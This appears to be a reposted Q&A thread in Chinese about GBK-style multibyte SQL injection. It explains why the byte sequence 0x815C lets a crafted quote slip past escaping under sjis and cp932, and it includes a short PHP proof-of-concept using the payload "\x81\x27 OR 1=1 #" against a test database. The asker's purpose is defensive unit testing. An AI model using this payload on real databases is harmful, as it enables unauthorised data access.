作者:mobiledu2502910337 | 来源:互联网 | 2023-05-20 15:45
我正在编写一些单元测试,以确保我的代码在各种字符集下不易受SQL注入攻击.
根据这个答案,你可以通过注入创建一个漏洞\xbf\x27
使用下列字符集之一:big5
,cp932
,gb2312
,gbk
和sjis
这是因为如果未正确配置您的escaper,它将会看到0x27
并尝试将其转义为它\xbf\x5c\x27
.但是,\xbf\x5c
实际上这些字符集中只有一个字符,因此quote(0x27
)未被转义.
然而,正如我通过测试发现的那样,这并非完全正确.它的工作原理为big5
,gb2312
和gbk
但也0xbf27
还是0xbf5c
在有效的字符sjis
和cp932
.
都
mb_strpos("abc\xbf\x27def","'",0,'sjis')
和
mb_strpos("abc\xbf\x27def","'",0,'cp932')
返回4
.即,PHP不会将其\xbf\x27
视为单个字符.这将返回false
了big5
,gb2312
和gbk
.
这个:
mb_strlen("\xbf\x5c",'sjis')
返回2
(返回1
的gbk
).
所以,问题是:是否有另一个字符序列,使sjis
和cp932
容易受到SQL注入,或者是他们居然不容易呢?或者是PHP撒谎,我完全错了,MySQL会完全不同地解释这个吗?
1> Narf..:
魔鬼在细节中......让我们从问题的答案如何描述易受攻击的字符集列表开始:
对于这种攻击的工作,我们需要的是服务器的期待连接都进行编码的编码'
为ASCII即0x27
并有一些文字,其最后一个字节是一个ASCII \
即0x5c
.事实证明,会默认在MySQL 5.6支持5个这样的编码:big5
,cp932
,gb2312
,gbk
和sjis
.我们会gbk
在这里选择.
这给了我们一些上下文 - 0xbf5c
用作示例gbk
,而不是用作所有5个字符集的通用字符.
恰好相同的字节序列也是big5
和下的有效字符gb2312
.
此时,您的问题变得如此简单:
这字节序列是一个有效的字符的下方cp932
,并sjis
在结束0x5c
?
公平地说,我为这些字符集尝试的大多数谷歌搜索都没有给出任何有用的结果.但我确实找到了这个CP932.TXT文件,如果你搜索'5c '
(有空格),你会跳到这一行:
0x815C 0x2015 #HORIZONTAL BAR
我们有一个赢家!:)
一些Oracle文档确认0x815c
两者都是相同的字符cp932
,sjis
并且PHP也识别它:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
这是攻击的PoC脚本:
query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}
是的,`\ x81`是`cp932`,`sjis`中的前导字节,并且不使用表查找的延迟检查会将其视为有效.但即使不是这样,也没关系......魔术是在`mysql_real_escape_string()`中将它视为ASCII,因此在中间添加`\ x5c`.